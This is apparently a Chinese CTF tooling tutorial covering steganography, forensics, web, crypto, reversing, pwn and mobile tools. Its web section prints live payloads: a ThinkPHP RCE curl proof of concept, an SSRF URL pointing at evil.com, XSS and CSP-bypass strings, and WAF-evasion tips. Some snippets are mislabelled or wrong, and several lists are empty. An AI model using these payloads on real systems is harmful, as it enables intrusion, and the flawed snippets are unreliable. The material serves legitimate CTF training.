第一次接触CTF比赛时,我被各种专业术语和工具搞得晕头转向。经过三年实战,我发现掌握核心工具链比盲目学习所有工具更重要。CTF比赛通常分为六大方向:MISC(杂项)、WEB(网络攻防)、Crypto(密码学)、Reverse(逆向工程)、Pwn(二进制漏洞利用)和Mobile(移动安全)。每个方向都有其独特的工具生态,但关键在于理解如何根据题目特点快速选择工具组合。
举个例子,去年参加某次比赛时遇到一道隐写题,队友花了半小时手动分析图片,而我用Stegsolve配合binwalk,两分钟就找到了flag。这种效率差异正是工具链熟练度带来的。下面我会按照实际解题流程,分享每个方向最实用的工具组合和使用技巧。
遇到图片隐写题,我的标准流程是:先用file命令检查文件真实类型(常有伪装的jpg实际是png),然后用Stegsolve的"Frame Browser"逐通道查看,最后用binwalk扫描隐藏文件。去年一道赛题表面是普通二维码,实际用Stegsolve的"Alpha Plane"模式才看到被透明图层遮盖的flag。
音频题常用Audacity的频谱图功能,记得调整FFT大小到最大8192。有次比赛给了一段看似空白的音频,在频谱图高频区发现了摩斯电码。视频题则用PotPlayer逐帧检查,配合ffmpeg提取关键帧:
bash复制ffmpeg -i challenge.mp4 -vf select='eq(n,100)' -vframes 1 frame100.png
碰到加密压缩包时,先别急着爆破。用010Editor查看文件头是否被修改,我曾遇到把zip改成jpg的题目。ARCHPR爆破时优先尝试伪加密(ZipCrypto Deflate)和已知明文攻击。有个小技巧:用zipinfo -v查看压缩包注释,有时flag就藏在里面。
磁盘取证题常用FTK Imager挂载镜像,重点查看$MFT文件和回收站。去年一道题在NTFS交换数据流里藏了flag,用AlternateStreamView轻松找到。内存取证推荐volatility,基本命令组合:
bash复制vol.py -f memory.dump imageinfo
vol.py -f memory.dump --profile=Win7SP1x64 pslist
Burp Suite的Intruder模块是我最常用的工具,配置"Cluster bomb"攻击模式可以快速爆破表单。有个隐蔽技巧:在Repeater里修改Content-Type为multipart/form-data能绕过某些WAF检测。sqlmap的--tamper脚本要善用,特别是space2comment和charencode组合。
遇到SSRF题目时,用ngrok搭建内网穿透服务是常规操作。但更高效的是利用DNS Rebinding,我常用这个Payload:
http复制http://127.0.0.1:80@evil.com/test
御剑扫描器要调整线程数为10-20,太高会被封IP。发现.git泄露时,用wget -r递归下载比手动一个个文件找快得多。去年遇到ThinkPHP RCE漏洞,直接用这个PoC:
bash复制curl "http://target/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id"
XSS题常用这个闭合Payload:
html复制"><svg/onload=alert(1)>
存储型XSS记得检查CSP策略,用<script src=data:,alert(1)>可能绕过。
看到密文先判断字符集:Base64结尾常有等号,Hex全是0-9a-f。CTFCrackTools的"智能分析"功能能自动识别30+种古典密码。有次比赛给出"BQQXGZJZ",工具识别出是Atbash密码,反转字母表即得flag。
RSA题目的标准流程:用yafu分解n,如果失败就尝试Wiener攻击或Fermat分解。这个Python脚本可以快速计算d:
python复制from Crypto.Util.number import inverse
d = inverse(e, (p-1)*(q-1))
遇到AES-ECB模式时,记得利用相同明文块产生相同密文块的特性。去年有道题加密了"admin=0"的JSON,我通过构造"admin=1"的密文块替换实现了提权。CBC模式的比特翻转攻击常用这个公式:
code复制C'[i-1] = C[i-1] ^ P[i] ^ desired_P[i]
RC4题目要注意密钥长度,用xortool分析密钥流:
bash复制xortool -l 5 -c 20 ciphertext
加载文件后先按F5生成伪代码,但要注意ARM架构可能需手动指定处理器类型。遇到混淆代码时,用"Patch program"修改指令比硬分析快得多。去年一道题在strcmp前做了反调试,我直接用Hex View把jz改成jmp绕过。
函数识别技巧:sub_401000这类默认命名,可以按N重命名为有意义的名称。查找字符串时用Alt+T比直接看Strings窗口更全面,有些字符串可能是动态生成的。
OllyDbg调试时要善用硬件断点(F2设软件断点,右键选Hardware on access)。遇到反调试时先运行ScyllaHide插件。去年遇到UPX加壳的程序,用ESP定律法三步脱壳:
Python逆向常用uncompyle6,但要注意pyc文件头可能被修改。这个命令可以修复魔数:
bash复制printf "\x03\xf3\x0d\x0a" | dd of=broken.pyc bs=1 seek=0 conv=notrunc
checksec查看保护机制后,针对不同情况采取策略:
格式化字符串漏洞的万能payload:
python复制payload = b"%8$p" # 泄露第8个参数
House of Spirit攻击流程:
tcache poisoning的典型利用:
python复制free(chunkA)
free(chunkB)
chunkA->fd = target_address
malloc() # 获取chunkB
malloc() # 获取target_address
apktool反编译后重点看smali代码中的onCreate方法。去年一道题把关键逻辑放在native层,用IDA分析so文件发现是简单的strcmp比较。JEB的动态调试功能很实用,记得在AndroidManifest.xml里添加android:debuggable="true"。
Frida注入的经典脚本:
javascript复制Interceptor.attach(Module.findExportByName("libc.so", "strcmp"), {
onEnter: function(args) {
console.log("Comparing: " + Memory.readCString(args[0]) + " and " + Memory.readCString(args[1]));
}
});
越狱设备用Frida时可能遇到证书错误,需要执行:
bash复制codesign -f -s - /path/to/frida-server
Objective-C方法hook示例:
javascript复制var className = ObjC.classes.NSString["- isEqualToString:"];
Interceptor.attach(className.implementation, {
onEnter: function(args) {
console.log("Comparing: " + ObjC.Object(args[2]).toString());
}
});